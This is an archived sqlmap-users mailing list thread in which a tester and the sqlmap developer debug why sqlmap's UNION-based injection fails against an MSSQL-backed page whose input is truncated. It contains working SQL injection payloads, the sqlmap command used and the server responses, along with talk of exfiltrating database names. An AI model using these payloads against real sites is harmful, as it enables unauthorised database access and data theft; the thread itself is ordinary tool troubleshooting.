>> you are getting trimmed output:
>>  :jug:KleqKYCxq
>>
>> instead of expected:
>> :jug:KleqKYCxqt*:hor:*
>>
>> If you combine that with your last message you could come to the
>> conclusion that output could be trimmed based on non-alphanumeric
>> characters in response. That's why you are getting
>> testtesttesttesttesttesttesttesttesttesttesttesttesttesttest..........
>> without any problems.
>>
>> Now, I've made some necessary changes so there is no more character ':'
>> in boundaries. Please update to the latest revision and retry to run sqlmap
>> now.
>>
>> ##########
>>
>> These three don't make any sense:
>>
>> 1) *Note the lack of ending ' or --, results in the response*
>> 2) To demonstrate that the result itself is not being trimmed
>> 3) I think from the previous email you thought that the *output* from the
>> request was being constrained, which I believe isn't the case, so I'm
>> hoping this clears it up.
>>
>> Results are being trimmed (based on output, not on length). Period.
>>
>> ##########
>>
>> Please update to the latest revision and retry it again.
>>
>>
>> Kind regards,
>> Miroslav Stampar
>>
>>
>> On Mon, Jun 10, 2013 at 9:51 PM, Stephen Shkardoon <ss...@ss...>wrote:
>>
>>> Hi,
>>>
>>> Sorry, I think I was unclear in the last email. I'll try explain it more
>>> clearly.
>>>
>>> The result isn't being trimmed to 14 characters, instead, the input
>>> parameter is being trimmed (and for some reason internally, the SQL is
>>> still being constructed to be valid. This is a blackbox test so I'm not
>>> sure of the internals of the script currently).
>>>
>>> For example, the following payload into the first parameter: -4230'
>>> UNION ALL SELECT NULL,2
>>> ,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)
>>>
>>> Note the lack of ending ' or --, results in the
>>> response: [{"id":2,"title":":jug:KleqKYCx"}]
>>>
>>> To demonstrate that the result itself is not being trimmed, consider
>>> either of these:
>>> -4230' UNION ALL SELECT NULL,2,'A string that is very very long but not
>>> truncated' --
>>> Results in: [{"id":2,"title":"A string that is very very long but not
>>> truncated"}]
>>>
>>> -4230' UNION ALL SELECT NULL,2,REPLICATE('test', 50) --
>>> Results
>>> in: [{"id":2,"title":"testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest"}]
>>>
>>> So, it's not the result that is being truncated, rather the input
>>> parameter itself being truncated (perhaps with some internal fix for a
>>> quote that still leaves it vulnerable to SQL injection).
>>>
>>> While I understand this constraint of 167 characters for the input, I
>>> can see a program like sqlmap still being able to pull out results with
>>> this limitation. If the query was condensed down to: ' UNION SELECT
>>> 0,0,':jug:'+(input/join/anything goes here)+':hor'
>>> there would still be 133 characters that could be used for other things
>>> (like the names of fields and databases for exfil).
>>>
>>> I realize that sqlmap might not have the functionality for constraint
>>> input like this, but it seems entirely possible to do it with 167
>>> characters of input in a lot of cases, so I was checking. I think from the
>>> previous email you thought that the *output* from the request was being
>>> constrained, which I believe isn't the case, so I'm hoping this clears it
>>> up.
>>>
>>> If there is nothing like this built into sqlmap already, would it be
>>> possible to leverage it to pull out the results where I could manually
>>> specify the query (e.g. I set a flag to be "' UNION SELECT 0,0,* -- " or
>>> similar and it could deal with the request automation and extraction from
>>> the resultant queries?
>>>
>>> Thanks,
>>> Stephen
>>>
>>>
>>> On Tue, Jun 11, 2013 at 7:02 AM, Miroslav Stampar <
>>> mir...@gm...> wrote:
>>>
>>>> Hi.
>>>>
>>>> sqlmap has problems, as said, because results are trimmed to 14 chars.
>>>>
>>>> It uses 5 chars for prefix (in this case :jug:) and 5 chars for suffix
>>>> (in this case :hor:) to enclose query result. That leaves 4 usable chars.
>>>>
>>>> We use prefix and suffix because sqlmap has to know where result starts
>>>> and where it ends. Without those marks we can't do our job. And no, they
>>>> can't be any shorter. That's an optimal length found through years of
>>>> development. Previously, we've used shorter ones and there were occasional
>>>> reports of false positives or bad result extraction.
>>>>
>>>> As said, please exploit your case manually.
>>>>
>>>> Kind regards,
>>>> Miroslav Stampar
>>>> On Jun 10, 2013 8:28 PM, "Stephen Shkardoon" <ss...@ss...> wrote:
>>>>
>>>>> Hi,
>>>>>
>>>>> After trying to figure out exactly what's going on, it looks like the
>>>>> input ParameterOne is truncated to 167 characters. It's a blackbox test so
>>>>> I'm not sure how it's producing valid SQL, but I guess my next question is,
>>>>> if an input size is constrained like this, does sqlmap have a mechanism for
>>>>> still working?
>>>>> As long as database/table/field names aren't amazing long, it should
>>>>> be possible for sqmap to exfil data, right?
>>>>>
>>>>> Thanks,
>>>>> Stephen
>>>>>
>>>>>
>>>>> On Wed, Jun 5, 2013 at 9:56 AM, Miroslav Stampar <
>>>>> mir...@gm...> wrote:
>>>>>
>>>>>> Hi.
>>>>>>
>>>>>> That site is trimming results (seems to do it to 14 chars in length).
>>>>>>
>>>>>> For example, request [#32]:
>>>>>>
>>>>>> ParamterOne=-4230' UNION ALL SELECT
>>>>>> NULL,NULL,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)+CHAR(113)+CHAR(116)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(114)+CHAR(58)--
>>>>>> &ParameterTwo=10,11,12,35,61
>>>>>>
>>>>>> can be decoded to:
>>>>>>
>>>>>> ParamterOne=-4230' UNION ALL SELECT NULL,NULL,*:jug:KleqKYCxqt:hor:*--
>>>>>> &ParameterTwo=10,11,12,35,61
>>>>>>
>>>>>> while in response there is:
>>>>>> :jug:KleqKYCxq
>>>>>>
>>>>>> In this kind of cases you'll need to (at least try to) exploit it
>>>>>> manually.
>>>>>>
>>>>>> Kind regards,
>>>>>> Miroslav Stampar
>>>>>>
>>>>>>
>>>>>> On Tue, Jun 4, 2013 at 10:47 AM, Stephen Shkardoon <ss...@ss...
>>>>>> > wrote:
>>>>>>
>>>>>>> I have a case that sqlmap seems to be acting weird about. I've ran a
>>>>>>> 'sqlmap.py -u "myhost.com/TestFile.aspx"
>>>>>>> --data="ParameterOne=d&ParameterTwo=10,11,12,35,61" --dbms=mssql --hostname
>>>>>>> --technique=U --union-cols=3 -v 6 --flush-session --fresh-queries -t
>>>>>>> traffic_log.txt'
>>>>>>> Manually injecting with ParameterOne looking like "foo' UNION SELECT
>>>>>>> 1,2,3 -- " works as expected. In fact, in the log, you can see it working
>>>>>>> fine in the case of request #32 and #36. However, sqlmap doesn't "find"
>>>>>>> this issue. Most of the queries seem to be doing something like "foo)
>>>>>>> UNION" instead.
>>>>>>> Is there a problem on my end here, or is sqlmap doing something
>>>>>>> weird or what?
>>>>>>>
>>>>>>> Running sqlmap/1.0-dev-3e0f747 (latest git).
>>>>>>>
>>>>>>> Thanks,
>>>>>>> Stephen
>>>>>>>
>>>>>>>
>>>>>>> ------------------------------------------------------------------------------
>>>>>>> How ServiceNow helps IT people transform IT departments:
>>>>>>> 1. A cloud service to automate IT design, transition and operations
>>>>>>> 2. Dashboards that offer high-level views of enterprise services
>>>>>>> 3. A single system of record for all IT processes
>>>>>>> http://p.sf.net/sfu/servicenow-d2d-j
>>>>>>> _______________________________________________
>>>>>>> sqlmap-users mailing list
>>>>>>> sql...@li...
>>>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>>>
>>>>>>>
>>>>>>
>>>>>>
>>>>>> --
>>>>>> Miroslav Stampar
>>>>>> http://about.me/stamparm
>>>>>>
>>>>>
>>>>>
>>>
>>>
>>>
>>> ------------------------------------------------------------------------------
>>> This SF.net email is sponsored by Windows:
>>>
>>> Build for Windows Store.
>>>
>>> http://p.sf.net/sfu/windows-dev2dev
>>>
>>> _______________________________________________
>>> sqlmap-users mailing list
>>> sql...@li...
>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>
>>>
>>
>>
>> --
>> Miroslav Stampar
>> http://about.me/stamparm
>>
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] Fwd: A simple injection case failing

[Stephen S. <ss...@ss...>]

Hi,

I understand why those examples made it seem like the *output* was being
trimmed, I am quite sure that is not the case.
To demonstrate once again, consider the input to parameter one:
-4230' UNION SELECT NULL,2,':jug:KleqKYCxqt:hor:'  --

The output of this input is: [{"id":2,"title":":jug:KleqKYCxqt:hor:"}]

Does this clear it up? The reason the output seemed like it was being
trimmed was that a) the input was cut off at a point where the SQL only
contained those characters, and b) the internal mechanism for making the
SQL valid even if there is a ' by itself (at least, I'm guessing here. I'm
not sure on this mechanism as it is a blackbox test as I said).
The difference between the two examples (the one where it seems cut off vs
not) is of course the length of the input parameters. Here is another
example to show that the input length is causing issues. Keep in mind, the
spaces matter in this example, since they count towards the length:
-4230' UNION SELECT NULL,2

       ,':jug:KleqKYCxqt:hor:'  --
Response: an error

As you can see clearly, even characters such as a space count towards this
input limit to cause an error, which results in the query being truncated
in a place that causes an invalid statement (with the 167 limit, it would
look like "-4230' UNION SELECT NULL,2

                 ,':jug:Kl" which is invalid. If we change this example to
be:
-4230' UNION SELECT NULL,2

       ,':'--
We get the output: [{"id":2,"title":":"}]
This is of course because the query is now valid, because it does not have
parts cut off in the middle of syntactically important places.

With this information, specifically showing that the output is not cut off,
even with those specific inputs, it should be clear that the output isn't
being manipulated (at least, in the way that it seemed to be from those
examples).
Would like more examples to show you that the idea of the output being cut
off is incorrect if it helps?

Lastly, I really do appreciate the time you're taking to help me out with
this. I'm sorry for doing a poor job of explaining it so far to lead to
this misunderstanding.

Thanks,
Stephen


On Tue, Jun 11, 2013 at 8:22 AM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi.
>
> At start I'll repeat that if you look into a traffic file you'll see that
> you are getting trimmed output:
>  :jug:KleqKYCxq
>
> instead of expected:
> :jug:KleqKYCxqt*:hor:*
>
> If you combine that with your last message you could come to the
> conclusion that output could be trimmed based on non-alphanumeric
> characters in response. That's why you are getting
> testtesttesttesttesttesttesttesttesttesttesttesttesttesttest..........
> without any problems.
>
> Now, I've made some necessary changes so there is no more character ':' in
> boundaries. Please update to the latest revision and retry to run sqlmap
> now.
>
> ##########
>
> These three don't make any sense:
>
> 1) *Note the lack of ending ' or --, results in the response*
> 2) To demonstrate that the result itself is not being trimmed
> 3) I think from the previous email you thought that the *output* from the
> request was being constrained, which I believe isn't the case, so I'm
> hoping this clears it up.
>
> Results are being trimmed (based on output, not on length). Period.
>
> ##########
>
> Please update to the latest revision and retry it again.
>
>
> Kind regards,
> Miroslav Stampar
>
>
> On Mon, Jun 10, 2013 at 9:51 PM, Stephen Shkardoon <ss...@ss...>wrote:
>
>> Hi,
>>
>> Sorry, I think I was unclear in the last email. I'll try explain it more
>> clearly.
>>
>> The result isn't being trimmed to 14 characters, instead, the input
>> parameter is being trimmed (and for some reason internally, the SQL is
>> still being constructed to be valid. This is a blackbox test so I'm not
>> sure of the internals of the script currently).
>>
>> For example, the following payload into the first parameter: -4230' UNION
>> ALL SELECT NULL,2
>> ,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)
>>
>> Note the lack of ending ' or --, results in the
>> response: [{"id":2,"title":":jug:KleqKYCx"}]
>>
>> To demonstrate that the result itself is not being trimmed, consider
>> either of these:
>> -4230' UNION ALL SELECT NULL,2,'A string that is very very long but not
>> truncated' --
>> Results in: [{"id":2,"title":"A string that is very very long but not
>> truncated"}]
>>
>> -4230' UNION ALL SELECT NULL,2,REPLICATE('test', 50) --
>> Results
>> in: [{"id":2,"title":"testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest"}]
>>
>> So, it's not the result that is being truncated, rather the input
>> parameter itself being truncated (perhaps with some internal fix for a
>> quote that still leaves it vulnerable to SQL injection).
>>
>> While I understand this constraint of 167 characters for the input, I can
>> see a program like sqlmap still being able to pull out results with this
>> limitation. If the query was condensed down to: ' UNION SELECT
>> 0,0,':jug:'+(input/join/anything goes here)+':hor'
>> there would still be 133 characters that could be used for other things
>> (like the names of fields and databases for exfil).
>>
>> I realize that sqlmap might not have the functionality for constraint
>> input like this, but it seems entirely possible to do it with 167
>> characters of input in a lot of cases, so I was checking. I think from the
>> previous email you thought that the *output* from the request was being
>> constrained, which I believe isn't the case, so I'm hoping this clears it
>> up.
>>
>> If there is nothing like this built into sqlmap already, would it be
>> possible to leverage it to pull out the results where I could manually
>> specify the query (e.g. I set a flag to be "' UNION SELECT 0,0,* -- " or
>> similar and it could deal with the request automation and extraction from
>> the resultant queries?
>>
>> Thanks,
>> Stephen
>>
>>
>> On Tue, Jun 11, 2013 at 7:02 AM, Miroslav Stampar <
>> mir...@gm...> wrote:
>>
>>> Hi.
>>>
>>> sqlmap has problems, as said, because results are trimmed to 14 chars.
>>>
>>> It uses 5 chars for prefix (in this case :jug:) and 5 chars for suffix
>>> (in this case :hor:) to enclose query result. That leaves 4 usable chars.
>>>
>>> We use prefix and suffix because sqlmap has to know where result starts
>>> and where it ends. Without those marks we can't do our job. And no, they
>>> can't be any shorter. That's an optimal length found through years of
>>> development. Previously, we've used shorter ones and there were occasional
>>> reports of false positives or bad result extraction.
>>>
>>> As said, please exploit your case manually.
>>>
>>> Kind regards,
>>> Miroslav Stampar
>>> On Jun 10, 2013 8:28 PM, "Stephen Shkardoon" <ss...@ss...> wrote:
>>>
>>>> Hi,
>>>>
>>>> After trying to figure out exactly what's going on, it looks like the
>>>> input ParameterOne is truncated to 167 characters. It's a blackbox test so
>>>> I'm not sure how it's producing valid SQL, but I guess my next question is,
>>>> if an input size is constrained like this, does sqlmap have a mechanism for
>>>> still working?
>>>> As long as database/table/field names aren't amazing long, it should be
>>>> possible for sqmap to exfil data, right?
>>>>
>>>> Thanks,
>>>> Stephen
>>>>
>>>>
>>>> On Wed, Jun 5, 2013 at 9:56 AM, Miroslav Stampar <
>>>> mir...@gm...> wrote:
>>>>
>>>>> Hi.
>>>>>
>>>>> That site is trimming results (seems to do it to 14 chars in length).
>>>>>
>>>>> For example, request [#32]:
>>>>>
>>>>> ParamterOne=-4230' UNION ALL SELECT
>>>>> NULL,NULL,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)+CHAR(113)+CHAR(116)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(114)+CHAR(58)--
>>>>> &ParameterTwo=10,11,12,35,61
>>>>>
>>>>> can be decoded to:
>>>>>
>>>>> ParamterOne=-4230' UNION ALL SELECT NULL,NULL,*:jug:KleqKYCxqt:hor:*--
>>>>> &ParameterTwo=10,11,12,35,61
>>>>>
>>>>> while in response there is:
>>>>> :jug:KleqKYCxq
>>>>>
>>>>> In this kind of cases you'll need to (at least try to) exploit it
>>>>> manually.
>>>>>
>>>>> Kind regards,
>>>>> Miroslav Stampar
>>>>>
>>>>>
>>>>> On Tue, Jun 4, 2013 at 10:47 AM, Stephen Shkardoon <ss...@ss...>wrote:
>>>>>
>>>>>> I have a case that sqlmap seems to be acting weird about. I've ran a
>>>>>> 'sqlmap.py -u "myhost.com/TestFile.aspx"
>>>>>> --data="ParameterOne=d&ParameterTwo=10,11,12,35,61" --dbms=mssql --hostname
>>>>>> --technique=U --union-cols=3 -v 6 --flush-session --fresh-queries -t
>>>>>> traffic_log.txt'
>>>>>> Manually injecting with ParameterOne looking like "foo' UNION SELECT
>>>>>> 1,2,3 -- " works as expected. In fact, in the log, you can see it working
>>>>>> fine in the case of request #32 and #36. However, sqlmap doesn't "find"
>>>>>> this issue. Most of the queries seem to be doing something like "foo)
>>>>>> UNION" instead.
>>>>>> Is there a problem on my end here, or is sqlmap doing something weird
>>>>>> or what?
>>>>>>
>>>>>> Running sqlmap/1.0-dev-3e0f747 (latest git).
>>>>>>
>>>>>> Thanks,
>>>>>> Stephen
>>>>>>
>>>>>>
>>>>>> ------------------------------------------------------------------------------
>>>>>> How ServiceNow helps IT people transform IT departments:
>>>>>> 1. A cloud service to automate IT design, transition and operations
>>>>>> 2. Dashboards that offer high-level views of enterprise services
>>>>>> 3. A single system of record for all IT processes
>>>>>> http://p.sf.net/sfu/servicenow-d2d-j
>>>>>> _______________________________________________
>>>>>> sqlmap-users mailing list
>>>>>> sql...@li...
>>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>>
>>>>>>
>>>>>
>>>>>
>>>>> --
>>>>> Miroslav Stampar
>>>>> http://about.me/stamparm
>>>>>
>>>>
>>>>
>>
>>
>>
>> ------------------------------------------------------------------------------
>> This SF.net email is sponsored by Windows:
>>
>> Build for Windows Store.
>>
>> http://p.sf.net/sfu/windows-dev2dev
>>
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>

Re: [sqlmap-users] Fwd: A simple injection case failing

[Miroslav S. <mir...@gm...>]

Hi.

At start I'll repeat that if you look into a traffic file you'll see that
you are getting trimmed output:
 :jug:KleqKYCxq

instead of expected:
:jug:KleqKYCxqt*:hor:*

If you combine that with your last message you could come to the conclusion
that output could be trimmed based on non-alphanumeric characters in
response. That's why you are getting
testtesttesttesttesttesttesttesttesttesttesttesttesttesttest..........
without any problems.

Now, I've made some necessary changes so there is no more character ':' in
boundaries. Please update to the latest revision and retry to run sqlmap
now.

##########

These three don't make any sense:

1) *Note the lack of ending ' or --, results in the response*
2) To demonstrate that the result itself is not being trimmed
3) I think from the previous email you thought that the *output* from the
request was being constrained, which I believe isn't the case, so I'm
hoping this clears it up.

Results are being trimmed (based on output, not on length). Period.

##########

Please update to the latest revision and retry it again.


Kind regards,
Miroslav Stampar


On Mon, Jun 10, 2013 at 9:51 PM, Stephen Shkardoon <ss...@ss...>wrote:

> Hi,
>
> Sorry, I think I was unclear in the last email. I'll try explain it more
> clearly.
>
> The result isn't being trimmed to 14 characters, instead, the input
> parameter is being trimmed (and for some reason internally, the SQL is
> still being constructed to be valid. This is a blackbox test so I'm not
> sure of the internals of the script currently).
>
> For example, the following payload into the first parameter: -4230' UNION
> ALL SELECT NULL,2
> ,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)
>
> Note the lack of ending ' or --, results in the
> response: [{"id":2,"title":":jug:KleqKYCx"}]
>
> To demonstrate that the result itself is not being trimmed, consider
> either of these:
> -4230' UNION ALL SELECT NULL,2,'A string that is very very long but not
> truncated' --
> Results in: [{"id":2,"title":"A string that is very very long but not
> truncated"}]
>
> -4230' UNION ALL SELECT NULL,2,REPLICATE('test', 50) --
> Results
> in: [{"id":2,"title":"testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest"}]
>
> So, it's not the result that is being truncated, rather the input
> parameter itself being truncated (perhaps with some internal fix for a
> quote that still leaves it vulnerable to SQL injection).
>
> While I understand this constraint of 167 characters for the input, I can
> see a program like sqlmap still being able to pull out results with this
> limitation. If the query was condensed down to: ' UNION SELECT
> 0,0,':jug:'+(input/join/anything goes here)+':hor'
> there would still be 133 characters that could be used for other things
> (like the names of fields and databases for exfil).
>
> I realize that sqlmap might not have the functionality for constraint
> input like this, but it seems entirely possible to do it with 167
> characters of input in a lot of cases, so I was checking. I think from the
> previous email you thought that the *output* from the request was being
> constrained, which I believe isn't the case, so I'm hoping this clears it
> up.
>
> If there is nothing like this built into sqlmap already, would it be
> possible to leverage it to pull out the results where I could manually
> specify the query (e.g. I set a flag to be "' UNION SELECT 0,0,* -- " or
> similar and it could deal with the request automation and extraction from
> the resultant queries?
>
> Thanks,
> Stephen
>
>
> On Tue, Jun 11, 2013 at 7:02 AM, Miroslav Stampar <
> mir...@gm...> wrote:
>
>> Hi.
>>
>> sqlmap has problems, as said, because results are trimmed to 14 chars.
>>
>> It uses 5 chars for prefix (in this case :jug:) and 5 chars for suffix
>> (in this case :hor:) to enclose query result. That leaves 4 usable chars.
>>
>> We use prefix and suffix because sqlmap has to know where result starts
>> and where it ends. Without those marks we can't do our job. And no, they
>> can't be any shorter. That's an optimal length found through years of
>> development. Previously, we've used shorter ones and there were occasional
>> reports of false positives or bad result extraction.
>>
>> As said, please exploit your case manually.
>>
>> Kind regards,
>> Miroslav Stampar
>> On Jun 10, 2013 8:28 PM, "Stephen Shkardoon" <ss...@ss...> wrote:
>>
>>> Hi,
>>>
>>> After trying to figure out exactly what's going on, it looks like the
>>> input ParameterOne is truncated to 167 characters. It's a blackbox test so
>>> I'm not sure how it's producing valid SQL, but I guess my next question is,
>>> if an input size is constrained like this, does sqlmap have a mechanism for
>>> still working?
>>> As long as database/table/field names aren't amazing long, it should be
>>> possible for sqmap to exfil data, right?
>>>
>>> Thanks,
>>> Stephen
>>>
>>>
>>> On Wed, Jun 5, 2013 at 9:56 AM, Miroslav Stampar <
>>> mir...@gm...> wrote:
>>>
>>>> Hi.
>>>>
>>>> That site is trimming results (seems to do it to 14 chars in length).
>>>>
>>>> For example, request [#32]:
>>>>
>>>> ParamterOne=-4230' UNION ALL SELECT
>>>> NULL,NULL,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)+CHAR(113)+CHAR(116)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(114)+CHAR(58)--
>>>> &ParameterTwo=10,11,12,35,61
>>>>
>>>> can be decoded to:
>>>>
>>>> ParamterOne=-4230' UNION ALL SELECT NULL,NULL,*:jug:KleqKYCxqt:hor:*--
>>>> &ParameterTwo=10,11,12,35,61
>>>>
>>>> while in response there is:
>>>> :jug:KleqKYCxq
>>>>
>>>> In this kind of cases you'll need to (at least try to) exploit it
>>>> manually.
>>>>
>>>> Kind regards,
>>>> Miroslav Stampar
>>>>
>>>>
>>>> On Tue, Jun 4, 2013 at 10:47 AM, Stephen Shkardoon <ss...@ss...>wrote:
>>>>
>>>>> I have a case that sqlmap seems to be acting weird about. I've ran a
>>>>> 'sqlmap.py -u "myhost.com/TestFile.aspx"
>>>>> --data="ParameterOne=d&ParameterTwo=10,11,12,35,61" --dbms=mssql --hostname
>>>>> --technique=U --union-cols=3 -v 6 --flush-session --fresh-queries -t
>>>>> traffic_log.txt'
>>>>> Manually injecting with ParameterOne looking like "foo' UNION SELECT
>>>>> 1,2,3 -- " works as expected. In fact, in the log, you can see it working
>>>>> fine in the case of request #32 and #36. However, sqlmap doesn't "find"
>>>>> this issue. Most of the queries seem to be doing something like "foo)
>>>>> UNION" instead.
>>>>> Is there a problem on my end here, or is sqlmap doing something weird
>>>>> or what?
>>>>>
>>>>> Running sqlmap/1.0-dev-3e0f747 (latest git).
>>>>>
>>>>> Thanks,
>>>>> Stephen
>>>>>
>>>>>
>>>>> ------------------------------------------------------------------------------
>>>>> How ServiceNow helps IT people transform IT departments:
>>>>> 1. A cloud service to automate IT design, transition and operations
>>>>> 2. Dashboards that offer high-level views of enterprise services
>>>>> 3. A single system of record for all IT processes
>>>>> http://p.sf.net/sfu/servicenow-d2d-j
>>>>> _______________________________________________
>>>>> sqlmap-users mailing list
>>>>> sql...@li...
>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>
>>>>>
>>>>
>>>>
>>>> --
>>>> Miroslav Stampar
>>>> http://about.me/stamparm
>>>>
>>>
>>>
>
>
>
> ------------------------------------------------------------------------------
> This SF.net email is sponsored by Windows:
>
> Build for Windows Store.
>
> http://p.sf.net/sfu/windows-dev2dev
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Fwd: A simple injection case failing

[Stephen S. <ss...@ss...>]

Hi,

Sorry, I think I was unclear in the last email. I'll try explain it more
clearly.

The result isn't being trimmed to 14 characters, instead, the input
parameter is being trimmed (and for some reason internally, the SQL is
still being constructed to be valid. This is a blackbox test so I'm not
sure of the internals of the script currently).

For example, the following payload into the first parameter: -4230' UNION
ALL SELECT NULL,2
,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)

Note the lack of ending ' or --, results in the
response: [{"id":2,"title":":jug:KleqKYCx"}]

To demonstrate that the result itself is not being trimmed, consider either
of these:
-4230' UNION ALL SELECT NULL,2,'A string that is very very long but not
truncated' --
Results in: [{"id":2,"title":"A string that is very very long but not
truncated"}]

-4230' UNION ALL SELECT NULL,2,REPLICATE('test', 50) --
Results
in: [{"id":2,"title":"testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest"}]

So, it's not the result that is being truncated, rather the input parameter
itself being truncated (perhaps with some internal fix for a quote that
still leaves it vulnerable to SQL injection).

While I understand this constraint of 167 characters for the input, I can
see a program like sqlmap still being able to pull out results with this
limitation. If the query was condensed down to: ' UNION SELECT
0,0,':jug:'+(input/join/anything goes here)+':hor'
there would still be 133 characters that could be used for other things
(like the names of fields and databases for exfil).

I realize that sqlmap might not have the functionality for constraint input
like this, but it seems entirely possible to do it with 167 characters of
input in a lot of cases, so I was checking. I think from the previous email
you thought that the *output* from the request was being constrained, which
I believe isn't the case, so I'm hoping this clears it up.

If there is nothing like this built into sqlmap already, would it be
possible to leverage it to pull out the results where I could manually
specify the query (e.g. I set a flag to be "' UNION SELECT 0,0,* -- " or
similar and it could deal with the request automation and extraction from
the resultant queries?

Thanks,
Stephen


On Tue, Jun 11, 2013 at 7:02 AM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi.
>
> sqlmap has problems, as said, because results are trimmed to 14 chars.
>
> It uses 5 chars for prefix (in this case :jug:) and 5 chars for suffix (in
> this case :hor:) to enclose query result. That leaves 4 usable chars.
>
> We use prefix and suffix because sqlmap has to know where result starts
> and where it ends. Without those marks we can't do our job. And no, they
> can't be any shorter. That's an optimal length found through years of
> development. Previously, we've used shorter ones and there were occasional
> reports of false positives or bad result extraction.
>
> As said, please exploit your case manually.
>
> Kind regards,
> Miroslav Stampar
> On Jun 10, 2013 8:28 PM, "Stephen Shkardoon" <ss...@ss...> wrote:
>
>> Hi,
>>
>> After trying to figure out exactly what's going on, it looks like the
>> input ParameterOne is truncated to 167 characters. It's a blackbox test so
>> I'm not sure how it's producing valid SQL, but I guess my next question is,
>> if an input size is constrained like this, does sqlmap have a mechanism for
>> still working?
>> As long as database/table/field names aren't amazing long, it should be
>> possible for sqmap to exfil data, right?
>>
>> Thanks,
>> Stephen
>>
>>
>> On Wed, Jun 5, 2013 at 9:56 AM, Miroslav Stampar <
>> mir...@gm...> wrote:
>>
>>> Hi.
>>>
>>> That site is trimming results (seems to do it to 14 chars in length).
>>>
>>> For example, request [#32]:
>>>
>>> ParamterOne=-4230' UNION ALL SELECT
>>> NULL,NULL,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)+CHAR(113)+CHAR(116)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(114)+CHAR(58)--
>>> &ParameterTwo=10,11,12,35,61
>>>
>>> can be decoded to:
>>>
>>> ParamterOne=-4230' UNION ALL SELECT NULL,NULL,*:jug:KleqKYCxqt:hor:*--
>>> &ParameterTwo=10,11,12,35,61
>>>
>>> while in response there is:
>>> :jug:KleqKYCxq
>>>
>>> In this kind of cases you'll need to (at least try to) exploit it
>>> manually.
>>>
>>> Kind regards,
>>> Miroslav Stampar
>>>
>>>
>>> On Tue, Jun 4, 2013 at 10:47 AM, Stephen Shkardoon <ss...@ss...>wrote:
>>>
>>>> I have a case that sqlmap seems to be acting weird about. I've ran a
>>>> 'sqlmap.py -u "myhost.com/TestFile.aspx"
>>>> --data="ParameterOne=d&ParameterTwo=10,11,12,35,61" --dbms=mssql --hostname
>>>> --technique=U --union-cols=3 -v 6 --flush-session --fresh-queries -t
>>>> traffic_log.txt'
>>>> Manually injecting with ParameterOne looking like "foo' UNION SELECT
>>>> 1,2,3 -- " works as expected. In fact, in the log, you can see it working
>>>> fine in the case of request #32 and #36. However, sqlmap doesn't "find"
>>>> this issue. Most of the queries seem to be doing something like "foo)
>>>> UNION" instead.
>>>> Is there a problem on my end here, or is sqlmap doing something weird
>>>> or what?
>>>>
>>>> Running sqlmap/1.0-dev-3e0f747 (latest git).
>>>>
>>>> Thanks,
>>>> Stephen
>>>>
>>>>
>>>> ------------------------------------------------------------------------------
>>>> How ServiceNow helps IT people transform IT departments:
>>>> 1. A cloud service to automate IT design, transition and operations
>>>> 2. Dashboards that offer high-level views of enterprise services
>>>> 3. A single system of record for all IT processes
>>>> http://p.sf.net/sfu/servicenow-d2d-j
>>>> _______________________________________________
>>>> sqlmap-users mailing list
>>>> sql...@li...
>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>
>>>>
>>>
>>>
>>> --
>>> Miroslav Stampar
>>> http://about.me/stamparm
>>>
>>
